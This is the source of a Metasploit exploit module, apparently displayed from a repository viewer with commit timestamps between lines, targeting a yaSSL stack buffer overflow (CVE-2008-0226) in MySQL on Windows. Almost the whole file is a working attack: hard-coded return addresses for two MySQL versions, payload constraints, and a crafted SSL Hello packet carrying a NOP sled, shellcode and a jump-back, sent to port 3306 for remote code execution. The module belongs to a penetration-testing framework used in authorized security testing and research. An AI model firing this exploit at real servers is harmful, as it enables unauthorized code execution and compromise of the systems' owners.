metasploit-framework/modules/exploits/windows/mysql/mysql_yassl_hello.rb

76 lines
2.3 KiB
Ruby
Raw Normal View History

##
2017-07-24 13:26:21 +00:00
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = AverageRanking
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::Tcp
2013-08-30 21:28:54 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'MySQL yaSSL SSL Hello Message Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the yaSSL (1.7.5 and earlier)
implementation bundled with MySQL <= 6.0. By sending a specially crafted
Hello packet, an attacker may be able to execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-0226' ],
[ 'OSVDB', '41195'],
2013-08-30 21:28:54 +00:00
[ 'BID', '27140' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
},
'Platform' => 'win',
'Targets' =>
[
[ 'MySQL 5.0.45-community-nt', { 'Ret' => 0x008b9d45 } ],
[ 'MySQL 5.1.22-rc-community', { 'Ret' => 0x008b04c9 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 4 2008'))
2013-08-30 21:28:54 +00:00
register_options([ Opt::RPORT(3306) ], self)
end
2013-08-30 21:28:54 +00:00
def exploit
connect
2013-08-30 21:28:54 +00:00
sock.get_once
2013-08-30 21:28:54 +00:00
req_uno = [0x01000020].pack('V')
2013-08-30 21:28:54 +00:00
req_dos = [0x00008daa].pack('V') + [0x40000000].pack('V')
req_dos << [0x00000008].pack('V') + [0x00000000].pack('V')
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
req_dos << [0x00000000].pack('V') + [0x00000000].pack('V')
req_dos << [0x03010000].pack('V') + [0x00000001].pack('V')
req_dos << "\x00\x0F\xFF" + rand_text_alphanumeric(3917 - payload.encoded.length)
req_dos << make_nops(100) + payload.encoded + [target.ret].pack('V')
req_dos << make_nops(16) + [0xe8, -650].pack('CV') + rand_text_alphanumeric(1024)
2013-08-30 21:28:54 +00:00
print_status("Trying target #{target.name}...")
2013-08-30 21:28:54 +00:00
sock.put(req_uno)
sock.put(req_dos)
2013-08-30 21:28:54 +00:00
handler
disconnect
end
end